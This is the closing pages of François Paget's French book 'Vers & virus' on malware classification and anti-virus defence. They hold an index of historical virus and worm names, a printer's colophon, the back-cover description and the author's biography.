W W16/RedTeam@MM 98 W16/Tentacle.1966 61 W2K/Stream 191 W32/Android@M 206 W32/Anvil 225 W32/Apparition 103 W32/Auric@MM 100 W32/Babylonia@M 206 W32/Badtrans@MM 194, 281 W32/Bagle@MM 94, 288 W32/Benjamin.worm 81, 99 W32/BlackBat 102 W32/Blaster.worm 81, 208 W32/Blebla@MM 204 W32/Bolzano 183 W32/Bugbear@MM 80, 81, 278, 281 W32/Bymer.worm 204 W32/Cabanas 177 W32/Caw 163 W32/Chiton 161, 189 W32/Choke.worm 204, 209 W32/CodeRed.worm 81, 101, 208, 268, 277, 287
W32/Crypto 225 W32/Dengue 104 W32/Duksten@MM 210 W32/Dumaru@MM 82, 98, 191 W32/Etap 130 W32/EXPLOREZIP.worm@M 72 W32/ExploreZIP@MM 204 W32/Fix@M 204 W32/Fizzer@MM 80 W32/Floodnet@MM 209 W32/Forforo 185 W32/Fourseman@MM 99 W32/Frethem@MM 80 W32/Gnuman.worm 99, 208 W32/Grand!p2p 223 W32/Haless 182 W32/Hayque.worm 96, 208 W32/HLL.ow.ANT 158 W32/HLL.ow.Jetto 158 W32/HLLP.DE TROIE 69 W32/Hybris@MM 72, 80, 204, 285 W32/Kazmor.worm 99 W32/Kelino 101 W32/Klez@MM 80, 84, 105, 280 W32/Kriz 189 W32/Lirva@MM 80, 105 W32/Lovsan.worm 272 W32/Maddis.worm 107 W32/Magistr@MM 80, 204, 206, 280 W32/Marburg 70 W32/Mimail@MM 80, 282 W32/MTX@M 72, 204, 206 W32/Mydoom@MM 83, 94, 255 W32/Mylife@MM 204, 207 W32/MyParty@MM 80 W32/Nachi.worm 81, 208 W32/Navidad@M 72, 80, 207 W32/Netsky@MM 94 W32/Newpic.worm 204 W32/Nimda@MM 81, 205, 208, 286 W32/Orez 187 W32/Parvo@MM 206
W32/PrettyPack@MM 72, 206 W32/Sabia.prc 79 W32/Sasser.worm 208 W32/Simile 130 W32/Sircam@MM 80, 81, 205, 206, 280 W32/Ska@M 72, 204, 206 W32/Smibag.worm 209 W32/Sobig@MM 14, 80, 81, 283 W32/SQLSlammer 81 W32/SQLSlammer.worm 101, 208, 269 W32/SUK 225 W32/Suppl@M 206 W32/Swen@MM 80, 82 W32/Torvil@MM 210 W32/Ultimax.worm 30 W32/Urbe@MM 207 W32/Yaha@MM 80, 105 W32/Yarner@MM 224 W32/Zmist 225 W95/Anxiety 161, 175 W95/Babylonia@M 284 W95/Boza 66, 173 W95/CIH 70, 72, 107, 223 W95/Fono 207 W95/Kuang 278 W95/Marburg 180 W95/MTX 106 W95/Padania 179 W95/Parvo@MM 98 W95/Weird 278 W97M/AntiMarc@MM 98, 195 W97M/Class 68, 72, 75 W97M/Coldape 71, 196 W97M/Cross 218 W97M/Eight941 123 W97M/Ethan 72 W97M/Groov 68, 71 W97M/Jim@MM 199 W97M/Lucia 198 W97M/MARKER 72 W97M/Melissa@MM 72, 74, 197 W97M/Mimir@MM 197, 198 W97M/Moridin@MM 199 W97M/Nail@MM 197
PAGET_Index Page 310 Lundi, 11. avril 2005 5:22 17
310
W97M/NightShade 67 W97M/PolyPoster@MM 195 W97M/Wazzu 67 Welchia 81 Whale 57 WildList 63, 93 Win32/HLLP.DeTroie 278 Winvir_1_4 61 WM/CAP 69, 72, 216 WM/Colors 215 WM/Concept 65, 69, 215 WM/Futurenot 216
Vers & virus
WM/Hassle 216 WM/Inexist 69 WM/Johnny 123 WM/MDMA 69, 215 WM/NPAD 69 WM/Rapi 123 WM/Sharefun@MM 98, 195 WM/Wazzu 69, 215 WormNET 283 Worms Against Nuclear Killers 44
X X97M/Laroux 216 X97M/Papa@MM 98, 197 XF/Paix 68, 69, 217 XM/Laroux 67, 216
Z zombie 33 Zulu 78
48311 - (I) - (1,5 + 0,3) - OSB 100° - STY - API Achevé d’imprimer sur les presses de SNEL Grafics sa rue Saint-Vincent 12 – B-4020 Liège Tél +32(0)4 344 65 60 - Fax +32(0)4 341 48 41 mai 2005 – 34608
Dépôt légal : mai 2005 Imprimé en Belgique
TYPE D’OUVRAGE L'ESSENTIEL
SE FORMER
RETOURS D'EXPÉRIENCE
MANAGEMENT DES SYSTÈMES D'INFORMATION APPLICATIONS MÉTIERS
François Paget
ÉTUDES, DÉVELOPPEMENT, INTÉGRATION
RÉSEAUX & TÉLÉCOMS
VERS & VIRUS Classification, lutte anti-virale et perspectives Ce livre s’adresse aux responsables sécurité, aux directeurs des systèmes d’information et à leurs équipes. Il est aussi destiné à tous ceux qui ont des responsabilités dans le domaine de la sécurité informatique. Après avoir découvert qui est qui et qui fait quoi, l’histoire du phénomène virus est abordée dans son ensemble. Les vers et les virus sont ensuite décrits dans leurs multiples formes, et le lecteur est amené à découvrir la structure interne des fichiers modernes avec l’œil du chercheur. L’ouvrage aborde ensuite la protection anti-virale dans ses aspects théoriques, pratiques autant que méthodologiques. Ayant expliqué les méthodes, des pistes sont ouvertes pour aider le professionnel et le particulier dans sa quête d’un bon anti-virus. Pour conclure, le livre met en perspective les dernières évolutions depuis l’an 2000 et confirme l’arrivée d’une nouvelle et dangereuse cybercriminalité. Il démontre que les auteurs de virus d’aujourd’hui ne cherchent plus, ni à détruire, ni à détériorer des informations, mais il dévoile d’autres buts qui, plus discrets, sont souvent bien plus préjudiciables.
FRANÇOIS PAGET François Paget est chercheur anti-virus depuis bientôt quinze ans. Il est membre fondateur du groupe AVERT (Anti-virus and Vulnerability Emergency Response Team) au sein de McAfee. Au niveau européen, il est membre de l’EICAR (European Institute of Computer Anti-Virus Research). Avec d’autres professionnels du monde entier, il participe aux travaux de divers forums techniques dont celui de la Wildlist qui a pour but de recenser l'ensemble des virus actifs au niveau mondial
VERS & VIRUS
EXPLOITATION ET ADMINISTRATION
EXPLOITATION & ADMINISTRATION
F. PAGET
INFOPRO
VERS & VIRUS Classification, lutte anti-virale et perspectives
François Paget
ISBN 2 10 008311 2
www.dunod.com